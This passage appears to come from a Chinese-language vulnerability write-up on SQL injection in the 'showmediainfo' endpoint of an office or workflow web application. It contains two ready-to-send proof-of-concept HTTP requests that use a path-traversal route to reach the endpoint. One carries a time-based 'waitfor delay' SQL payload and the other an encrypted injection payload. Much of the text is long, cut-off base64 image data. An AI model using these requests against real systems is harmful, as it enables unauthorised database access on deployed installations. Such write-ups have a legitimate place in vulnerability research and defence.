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 truncated
|
||||
<h3 blockindex=32>showmediainfo注入</h3>
|
||||
<p blockindex=33>先是简单的i9999参数注入,不走if (var5.equalsIgnoreCase("0")),即令kind=1,为字符型注入。payload:' waitfor delay '0:0:6'--+<br>
|
||||
poc:</p>
|
||||
<pre blockindex=34><code class="hljs language-js">POST /templates/attestation/../../workbench/duty/showmediainfo HTTP/<span class=hljs-number>1.1</span>
|
||||
<span class=hljs-attr>Host</span>:
|
||||
User-Agent:Mozilla/<span class=hljs-number>5.0</span> (X11; OpenBSD i386) AppleWebKit/<span class=hljs-number>537.36</span> (KHTML, like Gecko) Chrome/<span class=hljs-number>36.0</span><span class=hljs-number>.1985</span><span class=hljs-number>.125</span> Safari/<span class=hljs-number>537.36</span>
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: <span class=hljs-number>53</span>
|
||||
|
||||
kind=<span class=hljs-number>1</span>&usernumber=&i9999=<span class=hljs-number>12</span><span class=hljs-string>' waitfor delay '</span><span class=hljs-number>0</span>:<span class=hljs-number>0</span>:<span class=hljs-number>6</span><span class=hljs-string>'--+
|
||||
</span></code></pre>
|
||||
<p blockindex=35><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAB4AAAANTCAYAAABPRwBUAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdeVxU5f4H8A8DiMtFk9zKQiYYEDV+pphbuBuYRIqp10y0XFK7rojGdV+u5pK2mJUS10SvWipeUlPTDAUttwxzQUDSS7lcw/C6MjPn/P6AOc6BOWcWQAb4vF+veclZnud8z3O25/U8Pue46PV6EUREREQVyK1bd3Dtxk1pumF9L9T2rFmOERERERERERERERE5B015B0BERERERERERERERERERKWDHcBERERERERERERERERERJUEO4CJiIiIiIiIiIiIiIiIiCoJdgATEREREREREREREREREVUSbvatvgd5y8PxwOKy9vDoEI867fxKISwiIiKi8sZ6DxEREREREREREVU8pTgC+AgeHA5E7g+ZpZflo5abiQe7OiGvAu8CERERPQqVoN5DRERERERERERElZKdI4BN2qPWsIOo5fVwjuGHTsg9fASGCzthaDfB0YzLUSbu7AjEnRuAh395x0JERETOozLWe4iIiIiIiIiIiKiyKrX2Sjf/fnA7fASGG+dhlDLOxIMf3sOdw3EwAADawyMiHnX8zF+XmIk7u97EnfNHCpZ36AccnoIHGIE6kz+Bh/T6RdM0AIvzrG/LkDkGt5JMywHUG4E64Z/AwysTd9YVdP4CwIMkd1yvtwxeUWzQJSIiouIcrfco10UA8/pNrQjggWk92TqF+fwwBrfMt9NhOmq1Cy2Mw6yeNKwp7u+Yggc3CvKpFf6J1JGtHott+0NERERERERERETOp9ReAW24sLWwkbIpXAvnPdgViLzDZg2LOIIHSeavSyzseD1/5OHyw1MUvrWnzuq2cj+QN3ICwI045K0d48DWiIiIqCpzqN6jUheR133icMd8vRtxyNvxgTT9YJc7cotu53A4cnftKRJlHPLWFnb+FuZzx5SPDbFYr8cRERERERERERGRM3JwgOsR3FnrjjsWlnh0KBw1m/sB7pyHfDRJ7h7krQ3Hg8Pv4UG7T+CRu7OwUbI9akXEo5afHww/jEHu4Tj7wrFpW+cLG2otj+ytFXUOKBwF7BGhRx0ObiEiIiIApVfvUa+LmHPrcA5e7fyA3A8KO3Gn4E7mBNTxKtyOWd0JuR8gd+0UGM6HI89fXoeR8skcg+tJcYBpxLK1WGzZH4fKkoiIiIiIiIiIiMpaqY0Admu6DHWGmTU6mhoWb8Qhb607ri93x/W14YWjSs7AkGu2Tr1+8Ch8naBbuz72Nyjasi2/PvCoB+DGFOQud8f1dZ2Q98OegmVEREREdnCo3mNzXWQEarUrzNhrAqo3LfjTeCPz4XaaTi/o/C1cp5b5OpL28PAvXMevSP3KWiy27A8RERERERERERE5JQc7gNuj1jA9Gkw+hzod2gMADOe3yl8jqOqIvOGwXtMy/NauaVuhqBOlh1fEMtRq2h5uptclru2EO2zEJCIiIkWlVe951HWR5nDzUlpWkliOsAOYiIiIiIiIiIjIiZWw39UPHu0OwgudkHv4CO6sHQO3yYWvBPQq6NQ1YATqDCt8dWBRuYXrnP8H7rQLRS0vwPDDPxS+ARyH+5nR8PDzK76OLdsq5OY3AW5+E1DL9P3hG4WNmF5+cKsH4IZyWiIiIqrKSljvKaRcFzGtEYc7P/SBa7tQuOXuwf3zBXNd6/k93M75f+COv6/0CmjTa6ELRvxm2bxHyrHYvj9ERERERERERETkXEpl4K1bu3jUuhCIOzfikLeuacG35LwmoFbTKcg7H4e8tUW+6Wv63py0jvK39QBfuNUDHtwAHiQF4rqlVWzZlunbd8W0LzY65kGSO67b8H0+IiIiqnocrvfYURcxHA5H7mF5HrX8AMCs7pQUKK87NZ2OWrZ21FqLxZb9sXFTRERERERERERE9GiV0jeA/VArfFlBQ+CNKbj1Q8H35zxeOoc6TdvLGgjdmsobDT1eOodaTdsXTrWHR8SyIt8ALsjbox5U1rFhW36fwCtiRMEoX5N6I1Br2EGpsdTDfxkbM4mIiMgKB+s9NtRFCoxAnYgRD/OpNwJ1itSd6nQwW4728OiwA14vhdqxCzbUi2yoxxEREREREREREZHzcdHr9WJ5ByG3B3nLw/EAI1DH9FpFIiIiIjO3bt3BtRs3pemG9b1Q27NmOUZUGlgHIiIiIiIiIiIiopIrpRHARERERERERERERERERERU3tgBTERERERERERERERERERUSTjhK6CJiIiI1FXOV0ATERERERERERERlRxHABMRERERERERERERERERVRLsACYiIiIiIiIiIiIiIiIiqiTYAUxEREREREREREREREREVEmwA5iIiIiIiIiIiIiIiIiIqJJgBzARERERERERERERERERUSXBDmAiIiIiIiIiIiIiIiIiokqCHcBERERERERERERERERERJUEO4CJiIiIiIiIiIiIiIiIiCoJdgATEREREREREREREREREVUS7AAmIiIiIiIiIiIiIiIiIqok3BxJtPbLJOw5cBjnMrJx99690o7JLq6urni2qR9Cu3bAsAERcHV1BQAcSD6EU6dOI+e33/HgwYNyjbEsaDQaeHs/hef+Lwhdu4RAoynoy6/s+23O2ctAKT4iIqpYWO9xLnz+ExERERERERERqXPR6/WiPQmmzH0PP50+hzcG9UW74OfQqMHj8KhWraziU2UwGnHt+h/YcyAFceu3ol3rZ7Fi/lQkJGzCxexs9OzRDU2bBqDuY3Xg7u5eLjGWBUEQcPPmnzjx0yns2bsPATodRgyPwhfrNlbq/Tbn7GWgFB8bgYmISsetW3dw7cZNabphfS/U9qxZ6tthvce58PlPRERERERERERknV0dwP/cuB3rvkzCp8vn4slGDcsyLrv9evk3vDYqGr26tIUm/x4mTBiLxx9/vLzDKnPXrl7DwnffQ2CgP37/7UqV2W9zzl4GpvheiXgJYaHdyzscIqJK4VF0ALPe49z4/CciIiIiIiIiIrLMrldAf7PvIAb3j4BX3cdx/4GhrGJySKOGDTEyaiASNn6FBdPeRu3ataHX68s7rDLn9bgXevXqiaSvd6H/q32rzH6bc/YyMMV3+MiPbAAmIqpAWO9xbnz+ExERERERERERWWZXB/DPv5zD5HFv4X6+8zSumWvXphWWr1wDrY8P8vOdq6G2LDULDMS//vVlldtvc85eBs0CA7Fp09byDoOIiOzAeo/z4/OfiIiIiIiIiIioOLs6gO/dvYc6Xo/hnpM2hHo+VhuCwYA6derAYDSWdziPjKenJ/Lz9VVuv805exl4enri/v375R0GERHZgfUe58fnPxERERERERERUXF2dQALggC9QYQezjfCwkQQBLhoNBBFmz9tXOG5aDTQ6w1Vbr/NOXsZmOIjIqKKg/Ue58fnPxERERERERERUXF2dQCLguCUoyvMiYLglA2AZc1gMFTJ/Tbn7GVgMLIBmIioImG9p2Lg85+IiIiIiIiIiEhOY8/KBQ2hovIv+3OMaOaDtsV+sUhRS1eKP1NDqOLv4qd45ckGeKrYrzfWXFRJ5+Q/o9Fow35H44Ct80v0249p5VCezlUGFuIzOHcnAhERyVWeeg+f/3z+ExERERERERFRVVK6I4CNAkT8FUtOLUBbs9k/zvdD9OvPYMMXb+ApBwO1J0brhiDht2XoYj7rwBQ8/UI4kLIDI7RlE1tZMjr5CKVHwdnLwNnjIyIiucpT76ncnP356uzxERERERERERFR5WN3B7DRqNLQKIgQIUIwCjBv6goe8nc075OJ/xgFPOFgoPbEKIoqrwEsXCSKImRrdRmLWcHtkZEtQvQpwwDLiMFgdGy/leaXSEFeBSNfSi1Tq5yrDIozGthIT0RUkVTqeg+f/3z+ExERERERERFRpWXfK6BFEQajoPIraAg1WpufMgPdWvs//C1IhsGYjS/f8MeylMJ1fv0n/tbabDplBrq98U9cUt1+KX4H70AMvJ9q9PA37buC+dmr0bdPDN7p0wjeT8Xge7V1kY24Po3wTtxq9DVfll1k2uI2X0Zctu3hlt7rBb/DO1IMhftnMT6V2Kd9Y1ueVsvSucrg17iX5TEVHse+NgbJEUBERBVLlar38PmvGC+f/0REREREREREVNHY/Q1go+qvYASFUGT+jwmLcLZPd7QSBBiFZKyY8CV6rTiLb344i29WDAASV2HLpafRpttz2HUguSDd5SyIzz6H7OxsGAUB/8nOQGC3TmhkJQar38IrGJtSfP6BjzHv+OsI7VLwDbt3hiTgtYQruPSfK7iU8DqwYTnisgvTH08AJlzBpf8sQWe1dUUREIF/fS1i+X+u4NJ/NuC1Da/Be2Lh9KG5aC2tux/vDDmHWYdM+QRg3sTPkF1a37+DCCABUeYNuE81gnfILJyQyuMi4l55DSjcl+TZ5xD1iikGtf2UL0v2O4d/SeWskqfFsnTeMmgyPAlfDD6GeZ/uhyiKOPDpLGD2YWwb7mNzfEREVHFUnnoPn/98/hMRERERERERUVXiwDeA1V+FCHyJme2+lM0OHL8LXw/0LkzbEWNTfwEgwGAE8Hw3hOECBEFAg/YvInD/RVw2dsSV7y+g47BQpB68BINRxJH9P6HJsKfVtw/TqxDVVgCA9Rj69PoiC4Ix8+DX6CwCIrph4eUrBauLADr3wms4j8L+XADB8G1SuExt3cL1X5swCk1EQIQWvq3Nppv0xEutZyMzGxCbAMDxh393XopfOxfEa8vYnoLGT2v7/TrWXl4q//bxr6vRr1NGQay/foudJ17HuM4FsTcZPgmvzV2BfdmjMNxHZT8PfIN/tZ6L74ukE0VAzFbJs1hZOnsZAJ0XHcbMvh0QO+11/Ct9Lr5fpFXfZpH4iIio4qg89R4+//n8JyIiIiIiIiKiqqRLine truncated
|
||||
然后是usernumber注入,需要进入if (var5.equalsIgnoreCase("0")),即令kind=0,还需要加密payload:</p>
|
||||
<p blockindex=36><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAvAAAABcCAYAAAAI54HGAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOy9e1hc1dX4/zmQQK4kBAiBgcGIyUwbbROvQWiE1Ghl0lu0mJIo1mgLGO1F523B0NZi4e2PvtZaA2ibfqUm1FAbtQ2kmhRQGSdeamKsZiZIIkwGcoEQzT0Bzu+PM3vuAzMEkhjP53nmSeawZ599O3uvs/baa0mTJk2SUQFg7JgxPteksLCQ8jhz5kxI6WVZbX6V0AlzjMuBgYHzXBIVFRUVFRWVc42vxHoRMMaPIC6QzmE5VM6e8PDwgH/r7+8/hyW5MBg7dizgapeTJ0+ez+KoqKioqKionAcuCgF+MIFd5eLFn3AvSaG9ooW6AxIePobTp0+F9BsVFRUVFRUVlZHkwpN8QxTAxgyioVVRGQ0iIiKDTjsQ4i6BNITFVnT0VACOHz+upA/heVHNtVRUVFRUVC4OLjwBXkVFZVSQJMlpO+/O59EUSUVFRUVF5bOMKsCrqHwGEOZC48ePB+Dw4cMjmrcqxKuoqKioqHx2UAV4FRWVgIeFZUI3A1JRUVFRUVEZXVQBXkXlM0BcXBwAJ06cAM6tPXuYl3CvCvQqKioqKirnF1WAV1FRCQlvgd6diDFjOHlK9dKjoqKioqIymqgCvIrKBcyECRMAiIqKAmD37t3nszhBMS7S10uPKtSrqKioqKiMHKGFGVVRUVEZBuMiIzEYDBSWr2Ndof58F0dFRUVFReUzzagI8JKhnHXlhtHIWkXlgmDChAlMmDCBiRMnMnHixFG7T0xMDDExMfT19Xl8Pov8e8sW/vzLuyE59XwXRUVFRUVF5TPN6JjQNLTQYczAIDXw2sTxIf10ctSUkNIPEFrgp0DeNgKRpNGElN6+d29I6fsGQjuMOGFsaO9cJwg+6BBA3ITQ2vPT42dCSh8WHlr5+0MUVg8d/iSk9OF+/KIPhiYpEYBIh5mICKR08uRJv+l7PzkaUv6TvPp3eny8Uk7HuJXPeLb3gZ7ekPIX5Q+WA92huatMio8eMs1v//qx3+v6wnLy2ospqr/wAk5JegPZqSlkZEBNcRWWcxwUS9IXUlaSQ5pjOrKbKygtbghYjrjp8UHlOy4yIqRyRI4P7WV14NSxkNIfPnI8pPSTJk8KKT0hrBcd7R+HmPe5RZL0ZGenkpKRCy3LqbwAnxsVFZXRI0xfuI7m5mbPz7p1lBca0IcYFVUgy/XU1GnJyB7h0qqonCPCwsIICwtj3LhxjBs3zqkJT0hIICEhgenTpzN9+nRnupEmMjKSyMhIp4b/6NGjHD0a2svAhcy8L83xuWapLKIlYy3lhuHNO6OJLjWFjNwc0rTn/t6SvpC1Jcm0lGaRmZlJVn4FHVoj1WXqBDuaaFMuOd9FGBydIrznpGlIPt9lUVFROeeEWSqXkVVhBnsd+VnKApFfWgvpRqrXFgxbiLc2mtDmFqA5dmKEi6yionIx4E+Iry9adt6EeEnSU1he6HfOs9RXUlxrPudlAtAtTEfT0UK9RdGwypZ6pSxpuRTqL7yXnYuJWbNnn+8iBES21FNVXEqd/XyXREVF5XzgV3VosdRTvLwCsyaHkgLd8HK2NmIinYU6OHI0tG1RFZVzzZgxYxgzZgxTp05l6tSpJCYmkpiYSHJyMsnJycTFxREXF0dERAQRERH09/XT39fPqVOnODWCHlYkSUKSJKZMncqUqVPpHxigf2CAM6dPc+b06RG7z4XM+RPiU0k+Dxr2obC2d2DXpni+WLTZUOW2c8OFLMSrqKh8fgm496+YwdjR5ORh8NJISXoD5c3NNK/zr61Sfm+hqraD9IXKC4AqxKuoqHgzbdpkv9fPtRAvSXqyy4yknZO7hYZcX8SyZZWe9u6pyWjooN16/sr1eUIV4lVUVC40Bj3Eam3vALSk6ADLMHJvaKFjbR6GqmLqZZkjR48zedKEYRVUReVsEIdNIyKUQ3vjx48DIHqqcuhywgRx2Do4gfHEScU0rH+Eo5JOcHi08fZsE+OIxNp76JBy/+MX/wtxfdEyKF9HOcudB1v1hkLyMpLRYqO0pp28EqPjYKcdc0UpRfXKRCXpC1lbnYNy5tNOXf5yqqzZlDW5hHRzRRZF9TKG8maMTsk9h+qmHOW/9jryl/s7sKqjsLyEnDSNct+6UooqPSdISW+gIC/XkQbsdjO1pcVOMxhJX0hZnqMexY0sLBs8P3f0+kLycrXU5S+n/hwfpv08M2v2bFp37QLEC18JRmf/1lFbWjXs/vXOD7uZutJiKi2e/es5ruyY62qx+SnrUOUL9b5DMRrPpYqKyuAMfvquzYYdjY/XN9lST1FmJpneWiEvZLmelo409TCrioqKk207PnB+Dh06Mmhab028ta2dFrRotMnk5WW4HeysBWO1M51sqWR5Vj51djBXLKfSIiPL9RRnVWC2m6nIdwkJ9UWZSh5eZ4H8z2/J5JXl0V6z3HFfE9qcEg9bdEkyUFZtJN1WS35WFllZ+dSatBiry9x2MxtpsTnqUZYHNaWOMvjm58xXX8i65maqq9OhtjRkIUvl7Jk1ezaSpKdgbTW5jv7NzMyktDZ52P0r8jPiyi+/FnI88vM3rkppIZccL0dpwZUv+PsGw2g8lyoqKoMz6oGcGmrq0LpJ8EeOHlfNaVRGHeEdJioqiqioKJKSNCQlaZw27cLGXfhzVzTvQSxasvI5euQoR4+MnFcYYfseHR1NdLSvK8aIsWOJGDvWaYsf6/iMHTuWsWPHjlg5zgX+Dq8Gi2ypp6GlAzTQUlzscbCzps5OWq7r4L1ixmcmzV2DoEtBa6rx0UQGjdd9sTZi8jJGzy4zkmauYFllPRZZRpYt1Fcuo8KchtHhOUa2WGhod9Wj0uLQyDb45ueqeyXLHEKRLbd6UBNGldHjslkD5FBHaZXLjaelvogKcxq5jjNjofSvrqCEHOrId3MLam2zYRe73850uaTZXfeVZQsNVX4OsWbnDVm+UO4bDOf9uVRR+Rwy+pFYrY2YtL7eElQhXkXl80ni+x8GndZQvo6MluW+Wjm7jTavtNZGE3ZNMh4bhg0tmNMynBpF3cJkTI1nYTju57647VJKkoGMNDC3NPikamgxg1tZgsnPH7KlniqHk4E8dXfzvHDvI1t8dmfabHY03h0XRP+mJmuwmxo98lNe1pZ57LL4S+eP7Iw0v+m8yxfsfUPifD2XKiqfQwYP5JSajAY7Jt8ZKGjEYda1C3UuLYQDdyFetY1XGQ4iwNG4cYpN+/gJiu34pElKgJewAIG7xJoVqgJTBGw60xdaAKuhiJqsHOYcM4Q2XficF/WbOXMmAD2HegDoPaQEdhoYGBjR8o0UDz1RjCl/eVBnagIK7yEgy/W0mI1kZENDg4G8dBs1VcPOLkjs2PzNmW027CPksVvUy5iRDfX1Pn8/eGA/EHxAJ5XQaW5u9r1oV7wFBRvoS5L0pGjBryH7MNIJNDnVNOf4+YOjfFZ0IeU30pyf51JF5eJiUAFel6IFu4mzfjFuaKFj7UL0VVa/E5sqvKuofD4w1dUGNZ8MS3hPTcZf3OSGFjPG3AJ0JIOp5hxEUXVoWL1fUgKUbyj0heWUJLcMGnk1EAcP7FeF+FEiMzPzrPOQZQvtHZB+9sXxwF6Xz7JBDkLD6NzXLxfMc6micnER0IRGkgzk5QS3ZTcUymHWdHW7V2XEmTx5MpMnTyY+Pp74+HiipkwhasoUwsLDA2rfz4aRjojq7X8+SEt8J2HhYYSFhxEbE0tsTCyTJk1yaucvRBqrhhZCh6t516Vowdzi65mloUWJaZGrxRaCNkKSDBgM+pDKoGgWQevHiDhg+QYtg56F6WlotCk+ZctIA7tfVb8nQhuvMnL88XuzfK5Jkh79MAJrtdnsaNIX+pxnkCQDhYUGQBH0G01+THRIJdlLOvZryuOnfMHcdyQY6edSRUVFwa8GXm8opMSYg8ZeR36V74Ml6ZXT8GkB3az50lBjIjfP/3bvkaPHiYyMBODwJ5+GVAF5IDQ3fpIUmlB3uLc3pPRjwkM7VjBufGi7Dwd7Pgkp/eRpMSGlt+87HFJ6KTy0A5TCfWOwnDo1ePCicY4gSqfPKCYtkZGh5T/QF1oQpsOHlfY/cmRw7ymCM6f7Bv27PEZ5BPtOK+X4tD800xxhUjOAw32d43ugl5f9+w+GlP+4cZEhpf+4Y/DwQt9du5aSDhO1Nb4u7SAE4V2TTklZu1MrrTeUU50Ddfm+tudKTItcqtOH2E1ssym2ujqwWEBXkEFKo29+Q9FQXEFGUzXl7flO93lK+TqoyAotPyG45aS7yuX0WW83U+FnfvbHwQP7SUhM9Lk+MBDaS9L+rtDCR11ySWiRsbp7Q5vfTpwILdJ3bExsSOnlAd/n17orjDqtkXXlOMef4t4xA2qKQ/a4bK2qxZxj9BjPkt5AQUkulC73TNdkpNzQRlG9RfEiU5aB1g5kZGNoa6DeImOtKqVubfWQ5Qv2vvrCdVTnaILQ6jM6z6WKiopfxrh8IKe5+T+2Y67IZ1n9cJy/B8DaiElbQqG+wXlARm8weBxs2bJly8jdT+VzgRBgpVH2xiFs30MVGIZiypQoACIjFf/0/X2DC/yBEPUX7XGh8OTqXFbeV+v8XrlsGY2F66iuziHXSyDQF5YHr3m3myitSSFvbZPib9pupi5/ecDDd9b2DswMvpsoWyqpNa/DWN2EUfjrFn69DeU0GdNQ5slkKrKKacDNf7WxiXIUF3iyXE9xPpSVlNBsdPnhrsivcmohQ8nPUrmM/PZySqqbMIrqm4NXngi6Ojv9CvEqwWOxKn7gq5bnQ1kJ1U2OHvHynz6c8VKQl+uVn+d4do2rapqNSpqK0hoo0ZJOBimpbWCxKOfOhiife35D3TckRuG5VFFR8Y80adKkc/bk6AvXUULp0G/xDiZLine truncated
|
||||
poc:</p>
|
||||
<pre blockindex=37><code class="hljs language-js">POST /templates/attestation/../../workbench/duty/showmediainfo HTTP/<span class=hljs-number>1.1</span>
|
||||
<span class=hljs-attr>Host</span>: <span class=hljs-number>127.0</span><span class=hljs-number>.0</span><span class=hljs-number>.1</span>:<span class=hljs-number>8080</span>
|
||||
User-Agent:Mozilla/<span class=hljs-number>5.0</span> (X11; OpenBSD i386) AppleWebKit/<span class=hljs-number>537.36</span> (KHTML, like Gecko) Chrome/<span class=hljs-number>36.0</span><span class=hljs-number>.1985</span><span class=hljs-number>.125</span> Safari/<span class=hljs-number>537.36</span>
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: <span class=hljs-number>84</span>
|
||||
|
||||
kind=<span class=hljs-number>0</span>&usernumber=i8hoHAILh4YkvJtIAayRbk4pSpIEAvWmx22WPMFig6wPAATTP3HJDPAATTP&i9999=
|
||||
</code></pre>
|
||||
<p blockindex=38><img src="data:image/png;base64,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